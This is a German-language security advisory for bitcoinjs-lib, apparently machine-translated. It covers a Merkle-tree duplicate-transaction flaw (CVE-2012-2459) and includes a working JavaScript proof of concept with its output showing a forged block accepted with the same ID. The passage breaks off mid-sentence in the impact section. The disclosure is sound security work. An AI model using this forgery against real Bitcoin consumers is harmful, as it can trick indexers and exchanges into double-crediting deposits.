Bitcoinjs-lib: unzureichende Prüfung von Integritätswerten (CVE-2026-107846)

Zusammenfassung

fastMerkleRoot füllt eine ungerade Ebene durch das Hashen des letzten Knotens mit sich selbst auf. Es meldet dies nicht, und checkTxRoots sucht nie nach wiederholten Transaktionen. Ein Peer kann daher Transaktionen duplizieren, um die Füllung zu füllen und einen Block mit einer anderen Transaktionsliste, aber demselben Merkle-Wurzel zu produzieren. Die Block-Hash und Block-ID ändern sich nicht, sodass der Header weiterhin gültige Arbeitsnachweise trägt. Im Proof-of-Concept geht ein echter Mainnet-Block von neun Transaktionen auf zehn und separat auf zwölf, mit derselben ID jedes Mal, und checkTxRoots akzeptiert alle drei. Bitcoin Core lehnt diesen Fall durch die mutated-Flagge in ComputeMerkleRoot und den bad-txns-duplicate-Grund in CheckBlock ab. Dies ist CVE-2012-2459.

Details

Ein Bitcoin-Merkle-Baum füllt eine ungerade Ebene durch das Hashen des letzten Knotens mit sich selbst auf. Das Duplizieren von Transaktionen, um diese Füllung zu füllen, ergibt daher dieselbe Wurzel für eine andere Transaktionsliste. Dies ist CVE-2012-2459. Bitcoin Core erkennt dies in ComputeMerkleRoot, das jede Ebene auf zwei benachbarte gleichwertige Hashes durchsucht, bevor es die Füllung hinzufügt, und die mutated-Flagge setzt, wenn es ein Paar findet, und CheckBlock lehnt dann den Block mit bad-txns-duplicate ab.

uint256 ComputeMerkleRoot(std::vector<uint256> hashes, bool* mutated) {
    bool mutation = false;
    while (hashes.size() > 1) {
        if (mutated) {
            for (size_t pos = 0; pos + 1 < hashes.size(); pos += 2) {
                if (hashes[pos] == hashes[pos + 1]) mutation = true;
            }
        }
        if (hashes.size() & 1) {
            hashes.push_back(hashes.back());
        }
        ...

Der gefälschte Block enthält die Duplikate in seiner eigenen Transaktionsliste, sodass das Paar auf einer Ebene vorhanden ist und die Flagge gesetzt wird. Der ehrliche Block hat kein solches Paar und wird nicht beeinflusst.

fastMerkleRoot führt die Duplikation durch und meldet nichts.

while (length > 1) {
  let j = 0;
  for (let i = 0; i < length; i += 2, ++j) {
    const left = results[i];
    const right = i + 1 === length ? left : results[i + 1];
    const data = tools.concat([left, right]);
    results[j] = digestFn(data);
  }
  length = j;
}
return results[0];

Block.calculateMerkleRoot gibt diesen Wert unverändert zurück, und __checkMerkleRoot vergleicht ihn nur mit dem Feld im Header.

private __checkMerkleRoot(): boolean {
  if (!this.transactions) throw errorMerkleNoTxes;
  const actualMerkleRoot = Block.calculateMerkleRoot(this.transactions);
  return tools.compare(this.merkleRoot!, actualMerkleRoot) === 0;
}

Nirgendwo in ts_src wird nach einem benachbarten Duplikatpaar oder einem wiederholten txid gesucht. checkTxRoots ist die angekündigte Integritätsschranke für Blöcke der Bibliothek und erbt die Lücke.

PoC

import { createRequire } from 'module';
const require = createRequire(import.meta.url);
import { Block } from 'bitcoinjs-lib/src/block';
const fs = require('fs');
const hex = (u) => Buffer.from(u).toString('hex');

// Realer Mainnet-Block, aus dem Bitcoin Core Vektorsatz, der in diesem Repository mitgeliefert wird.
const f = JSON.parse(fs.readFileSync(
  'test/fixtures/core/blocks.json', 'utf8'))[0];

const honest = Block.fromHex(f.hex);
console.log('honest block id       :', honest.getId());
console.log('id matches fixture    :', honest.getId() === f.id);
console.log('transactions          :', honest.transactions.length);
console.log('merkle root           :', hex(honest.merkleRoot));
console.log('checkTxRoots()        :', honest.checkTxRoots());
console.log('serialized bytes      :', honest.toBuffer().length);

// Angreifer dupliziert die letzte Transaktion und leitet das Ergebnis weiter.
const forged = Block.fromHex(f.hex);
forged.transactions = forged.transactions.concat([
  forged.transactions[forged.transactions.length - 1],
]);
// Rundreise durch den echten Parser, genau wie eine P2P-Blocknachricht ankommt.
const parsed = Block.fromHex(forged.toHex());

console.log('');
console.log('forged block id       :', parsed.getId());
console.log('transactions          :', parsed.transactions.length);
console.log('merkle root           :', hex(parsed.merkleRoot));
console.log('recomputed merkle root:', hex(Block.calculateMerkleRoot(parsed.transactions)));
console.log('checkTxRoots()        :', parsed.checkTxRoots());
console.log('serialized bytes      :', parsed.toBuffer().length);

const ids = parsed.transactions.map((t) => t.getId());
console.log('');
console.log('same block id                 :', honest.getId() === parsed.getId());
console.log('different serialized bytes    :', honest.toHex() !== parsed.toHex());
console.log('different transaction lists   :', honest.transactions.length !== parsed.transactions.length);
console.log('duplicate txid inside forged  :', new Set(ids).size !== ids.length);
console.log('both accepted by checkTxRoots :', honest.checkTxRoots() && parsed.checkTxRoots());

Ausgabe auf bitcoinjs-lib v7.0.1:

honest block id       : 0000000000013b8ab2cd513b0261a14096412195a72a0c4827d229dcc7e0f7af
id matches fixture    : true
transactions          : 9
merkle root           : 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f
checkTxRoots()        : true
serialized bytes      : 3054

forged block id       : 0000000000013b8ab2cd513b0261a14096412195a72a0c4827d229dcc7e0f7af
transactions          : 10
merkle root           : 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f
recomputed merkle root: 5275289558f51c9966699404ae2294730c3c9f9bda53523ce50e9b95e558da2f
checkTxRoots()        : true
serialized bytes      : 3313

same block id                 : true
different serialized bytes    : true
different transaction lists   : true
duplicate txid inside forged  : true
both accepted by checkTxRoots : true

Der ehrliche Block ist die Kontrolle. Es ist ein echter Mainnet-Block, dessen ID mit dem Fixmatch übereinstimmt und der validiert. Der gefälschte Block enthält eine andere Transaktionsliste und 259 mehr Bytes, produziert jedoch die identische Wurzel und ID und wird ebenfalls akzeptiert.

Auswirkungen

Die meisten realen Blöcke erreichen an irgendeiner Ebene eine ungerade Knotenzahl, sodass die meisten neu geschrieben werden können. Jeder Peer kann eine mutierte Kopie eines Blocks weiterleiten, der bereits in der Kette existiert. Keine Bergbauarbeit ist erforderlich, da der Header nie geändert wird. Ein Explorer, ein Börsenindexer oder ein SPV-Client, der an checkTxRoots anknüpft, sieht die duplizierte Transaktion zweimal und kann denselben Einzahlungsbetrag zweimal gutschreiben. Ein Verbraucher, der darauf reagiert, indem er den Block-Hash in die Blacklist aufnimmt, lehnt auch den ehrlichen Block ab, was die Kettenspaltungsdienstverweigerung beschreibt, die im ursprünglichen CVE beschrieben ist. Die Schwere hängt vom Verbraucher ab, da die Blockvalidierung einen kleineren Teil der Verwendung dieser Bibliothek als die Transaktionsverarbeitung darstellt. Die Ablehnung von Bitcoin Core stammt aus seiner veröffentlichten `ComputeM